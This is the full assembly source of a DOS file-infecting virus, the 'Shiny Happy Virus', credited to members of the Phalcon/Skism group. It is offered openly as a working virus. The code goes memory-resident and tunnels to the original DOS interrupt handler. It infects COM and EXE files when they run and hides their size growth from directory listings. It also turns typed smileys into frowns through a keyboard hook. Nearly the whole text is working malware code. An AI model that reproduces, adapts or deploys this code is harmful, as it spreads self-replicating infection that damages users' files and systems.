; The Shiny Happy Virus
; By Hellraiser and Dark Angel of Phalcon/Skism

        .model  tiny
        .code

id      =       '52'
timeid  =       18h

shiny:
        call    next
next:   pop     bp

        push    ds
        push    es

        xor     di,di
        mov     ds,di
        cmp     word ptr ds:[1*4],offset int1_2 ; installation check
        jz      return

        mov     ax,es
        dec     ax
        sub     word ptr ds:[413h],(endheap-shiny+1023)/1024
        mov     ds,ax
        sub     word ptr ds:[3],((endheap-shiny+1023)/1024)*64
        sub     word ptr ds:[12h],((endheap-shiny+1023)/1024)*64
        mov     es,word ptr ds:[12h]

        push    cs
        pop     ds

        lea     si,[bp+shiny-next]
        mov     cx,(endheap-shiny+1)/2
        rep     movsw

        push    cs
        lea     ax,[bp+return-next]
        push    ax

        push    es
        mov     ax,offset highentry
        push    ax
        retf

return:
        cmp     sp,id-4
        jz      returnEXE
returnCOM:
        pop     es
        pop     ds
        mov     di,100h
        push    di
        lea     si,[bp+offset save3-next]
        movsw
        movsb
        retn

returnEXE:
        pop     es
        pop     ds
        mov     ax,es
        add     ax,10h
        add     word ptr cs:[bp+origCSIP+2-next],ax
        cli
        add     ax,word ptr cs:[bp+origSPSS-next]
        mov     ss,ax
        mov     sp,word ptr cs:[bp+origSPSS+2-next]
        sti
        db      0eah
origCSIP db     ?
save3    db    0cdh,20h,0
origSPSS dd     ?

highentry:
        mov     cs:in21flag,0

        xor     ax,ax
        mov     ds,ax

        les     ax,ds:[9*4]
        mov     word ptr cs:oldint9,ax
        mov     word ptr cs:oldint9+2,es

        mov     ds:[9*4],offset int9
        mov     ds:[9*4+2],cs

        les     ax,ds:[21h*4]
        mov     word ptr cs:oldint21,ax
        mov     word ptr cs:oldint21+2,es

        mov     word ptr ds:[1*4],offset int1
        mov     ds:[1*4+2],cs

        mov     ah, 52h
        int     21h
        mov     ax,es:[bx-2]
        mov     word ptr cs:tunnel21+2, ax
        mov     word ptr cs:dosseg_, es

        pushf
        pop     ax
        or      ah,1
        push    ax
        popf

        mov     ah,0bh
        pushf
        db      09Ah
oldint21 dd     ?

        mov     word ptr ds:[3*4],offset int3
        mov     ds:[3*4+2],cs
        mov     word ptr ds:[1*4],offset int1_2

        les     bx,cs:tunnel21
        mov     al,0CCh
        xchg    al,byte ptr es:[bx]
        mov     byte ptr cs:save1,al
        retf

authors db 'Shiny Happy Virus by Hellraiser and Dark Angel of Phalcon/Skism',0

int1:   push    bp
        mov     bp,sp
        push    ax

        mov     ax, [bp+4]
        cmp     ax,word ptr cs:tunnel21+2
        jb      foundint21
        db      3dh     ; cmp ax, xxxx
dosseg_ dw      ?
        ja      exitint1
foundint21:
        mov     word ptr cs:tunnel21+2,ax
        mov     ax,[bp+2]
        mov     word ptr cs:tunnel21,ax
        and     byte ptr [bp+7], 0FEh
exitint1:
        pop     ax
        pop     bp
        iret

int1_2: push    bp
        mov     bp,sp
        push    ax

        mov     ax, [bp+4]
        cmp     ax,word ptr cs:tunnel21+2
        ja      exitint1_2
        mov     ax, [bp+2]
        cmp     ax,word ptr cs:tunnel21
        jbe     exitint1_2

        push    ds
        push    bx
        lds     bx,cs:tunnel21
        mov     byte ptr ds:[bx],0CCh
        pop     bx
        pop     ds

        and     byte ptr [bp+7],0FEh
exitint1_2:
        pop     ax
        pop     bp
        iret

infect_others:
        mov     ax,4301h
        push    ax
        push    ds
        push    dx
        xor     cx,cx
        call    callint21

        mov     ax,3d02h
        call    callint21
        xchg    ax,bx

        mov     ax,5700h
        call    callint21
        push    cx
        push    dx

        mov     ah,3fh
        mov     cx,1ah
        push    cs
        pop     ds
        push    cs
        pop     es
        mov     dx,offset readbuffer
        call    callint21

        mov     ax,4202h
        xor     cx,cx
        cwd
        int     21h

        mov     si,offset readbuffer
        cmp     word ptr [si],'ZM'
        jnz     checkCOM
checkEXE:
        cmp     word ptr [si+10h],id
        jz      goalreadyinfected

        mov     di, offset OrigCSIP
        mov     si, offset readbuffer+14h
        movsw
        movsw

        sub     si, 18h-0eh
        movsw
        movsw

        push    bx
        mov     bx, word ptr readbuffer + 8
        mov     cl, 4
        shl     bx, cl

        push    dx
        push    ax

        sub     ax, bx
        sbb     dx, 0

        mov     cx, 10h
        div     cx

        mov     word ptr readbuffer+14h, dx
        mov     word ptr readbuffer+16h, ax

        mov     word ptr readbuffer+0Eh, ax
        mov     word ptr readbuffer+10h, id

        pop     ax
        pop     dx
        pop     bx

        add     ax, heap-shiny
        adc     dx, 0

        mov     cl, 9
        push    ax
        shr     ax, cl
        ror     dx, cl
        stc
        adc     dx, ax
        pop     ax
        and     ah, 1

        mov     word ptr readbuffer+4, dx
        mov     word ptr readbuffer+2, ax

        mov     cx,1ah
        jmp     short finishinfection
checkCOM:
        xchg    cx,ax
        sub     cx,heap-shiny+3
        cmp     cx,word ptr [si+1]
goalreadyinfected:
        jz      alreadyinfected
        add     cx,heap-shiny

        push    si
        mov     di,offset save3
        movsw
        movsb
        pop     di
        mov     al,0e9h
        stosb
        mov     ax,3    ; cx holds bytes to write
        xchg    ax,cx
        stosw
finishinfection:
        push    cx

        mov     ah,40h
        mov     cx,heap-shiny
        cwd ; xor dx,dx
        call    callint21

        mov     ax,4200h
        xor     cx,cx
        cwd
        int     21h

        mov     ah,40h
        pop     cx
        mov     dx,offset readbuffer
        call    callint21

        mov     ax,5701h
        pop     dx
        pop     cx
        and     cl,0E0h
        or      cl,timeid
        call    callint21
        jmp     doneinfect

alreadyinfected:
        pop     ax
        pop     ax
doneinfect:
        mov     ah,3eh
        call    callint21

        pop     dx
        pop     ds
        pop     ax
        pop     cx
        call    callint21
exitexecute:
        pop     es
        pop     ds
        pop     di
        pop     si
        pop     dx
        pop     cx
        pop     bx
        pop     ax
        popf

        jmp     exitint21

execute:
        pushf
        push    ax
        push    bx
        push    cx
        push    dx
        push    si
        push    di
        push    ds
        push    es

        cld

        mov     ax,4300h
        call    callint21
        jc      exitexecute
        push    cx

        jmp     infect_others

int3:
        push    bp
        mov     bp,sp

        cmp     cs:in21flag,0
        jnz     leaveint21

        inc     cs:in21flag

        cmp     ah,11h
        jz      findfirstnext
        cmp     ah,12h
        jz      findfirstnext
        cmp     ax,4b00h
        jz      execute

exitint21:
        dec     cs:in21flag
leaveint21:
        or      byte ptr [bp+7],1       ; set trap flag upon return
        dec     word ptr [bp+2]         ; decrement offset
        call    restoreint21
        pop     bp
        iret

callint21:
        pushf
        call    dword ptr cs:tunnel21
        ret

restoreint21:
        push    ds
        push    ax
        push    bx

        lds     bx,cs:tunnel21
        mov     al,byte ptr cs:save1
        mov     ds:[bx],al

        pop     bx
        pop     ax
        pop     ds

        ret

findfirstnext:
        int     21h     ; pre-chain interrupt

; flags   [bp+12]
; segment [bp+10]
; offset  [bp+8]
; flags   [bp+6]
; segment [bp+4]
; offset  [bp+2]
; bp      [bp]
        pushf           ; save results
        pop     [bp+6+6]
        pop     bp

        push    ax
        push    bx
        push    ds
        push    es

        inc     al
        jz      notDOS

        mov     ah,51h          ; Get active PSP
        int     21h
        mov     es,bx
        cmp     bx,es:[16h]     ; DOS calling it?
        jne     notDOS

        mov     ah,2fh  ; DTA -> ES:BX
        int     21h
        push    es
        pop     ds

        cmp     byte ptr [bx],0FFh
        jnz     regularFCB
        add     bx,7
regularFCB:
        cmp     word ptr [bx+9],'OC'
        jz      checkinf
        cmp     word ptr [bx+9],'XE'
        jnz     notDOS
checkinf:
        mov     al,byte ptr [bx+23]
        and     al,1Fh

        cmp     al,timeid
        jnz     notDOS
subtract:
        sub     word ptr [bx+29],heap-shiny
        sbb     word ptr [bx+31],0
notDOS:
        pop     es
        pop     ds
        pop     bx
        pop     ax

        dec     cs:in21flag

        cli
        add     sp,6
        iret

int9:
        pushf                           ; save flags, regs, etc...
        push    ax
        push    bx
        push    cx
        push    dx

        xor     bx,bx
        mov     ah,0fh                  ; get video mode
        int     10h

        mov     ah,03h                  ; get curs pos
        int     10h

        call    getattrib
        cmp     al,')'                  ; happy??
        jne     audi5000                ; no

        mov     cs:eyesflag,0
beforeloveshack:
        call    getattrib               ; see if there is a nose
loveshack:
        cmp     al,':'                  ; shiny???
        je      realeyes

        cmp     al,'='                  ; check for even =)
        je      realeyes

        cmp     al,'|'
        je      realeyes

        cmp     al,';'
        je      realeyes

        cmp     cs:eyesflag,0
        jnz     audi5001
        cmp     al,'('
        jz      audi5001
        inc     cs:eyesflag
        inc     bl
        jmp     short beforeloveshack

realeyes:
        stc
        adc     dl,bl                   ; add extra backspace if so

        mov     ah,02h
        int     10h

        mov     ax,0a28h   ; 0ah, '('   ; write frown
        mov     cx,1
        int     10h

        jmp     audi5000
audi5001:
        stc
        adc     dl,bl
audi5000:
        inc     dl                      ; set curs pos
        mov     ah,02h
        int     10h

        pop     dx                      ; restore all stuff
        pop     cx
        pop     bx
        pop     ax
        popf

        db      0eah
oldint9 dd      ?

; reads the char at the current cursorpos - 1

getattrib:
        dec     dl                      ; set curs pos
        mov     ah,02h
        int     10h

        mov     ah,08h                  ; get char at curs
        int     10h

        ret

heap:
save1    db     ?
tunnel21 dd     ?
in21flag db     ?
eyesflag db     ?
readbuffer db   1ah dup (?)
endheap:
end  shiny

